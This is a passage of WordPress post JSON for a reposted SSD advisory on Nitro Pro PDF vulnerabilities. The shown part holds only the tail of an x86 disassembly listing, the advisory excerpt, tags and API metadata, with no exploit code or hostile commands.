class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-i\">eax<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-13\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF70<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8B10<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">mov\t<\/span><span class=\"crayon-v\">edx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-14\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF72<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">FF5210&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-i\">call<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">edx<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">10h<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-15\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF75<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">L1014FF75<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-16\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF75<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8B4D08<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">mov\t<\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">ebp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">08h<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-17\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF78<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">50<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">push\t<\/span><span class=\"crayon-i\">eax<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-18\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF79<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8B03<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">mov\t<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">ebx<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-19\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF7B<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">56<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">push\t<\/span><span class=\"crayon-i\">esi<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-20\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF7C<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8D0478<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">lea\t<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">edi*<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-21\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF7F<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">50<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">push\t<\/span><span class=\"crayon-i\">eax<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-22\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF80<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">E83BC2FFFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">call\t<\/span><span class=\"crayon-v\">SUB<\/span><span class=\"crayon-sy\">_<\/span>L1014C1C0<\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-23\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF85<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8B4508<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">mov\t<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">ebp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">08h<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-24\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF88<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">5F<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">pop\t<\/span><span class=\"crayon-i\">edi<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-25\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF89<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">5E<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">pop\t<\/span><span class=\"crayon-i\">esi<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-26\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF8A<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">5B<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">pop\t<\/span><span class=\"crayon-i\">ebx<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-27\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF8B<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8BE5<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">mov\t<\/span><span class=\"crayon-v\">esp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-i\">ebp<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-28\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF8D<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">5D<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">pop\t<\/span><span class=\"crayon-i\">ebp<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-29\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF8E<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">C20C00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-i\">retn<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">000Ch<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-30\"><span class=\"crayon-sy\">;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0053 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3251\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Mon, 24 Jul 2017 05:25:58 +0000<\/strong><\/p>\n<p>Vulnerabilities Summary The following advisory describes three vulnerabilities found in Nitro \/ Nitro Pro PDF. Nitro Pro is the PDF reader and editor that does everything you will ever need to do with PDF files. The powerful but snappy editor lets you change PDF documents with ease, and comes with a built-in OCR engine that &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3251\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Nitro Pro PDF Multiple Vulnerabilities<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11680,11851,10757,13145],"class_list":["post-8430","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-directory-traversal","tag-remote-command-execution","tag-securiteam-secure-disclosure","tag-use-after-free"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8430","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=8430"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8430\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=8430"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=8430"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=8430"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}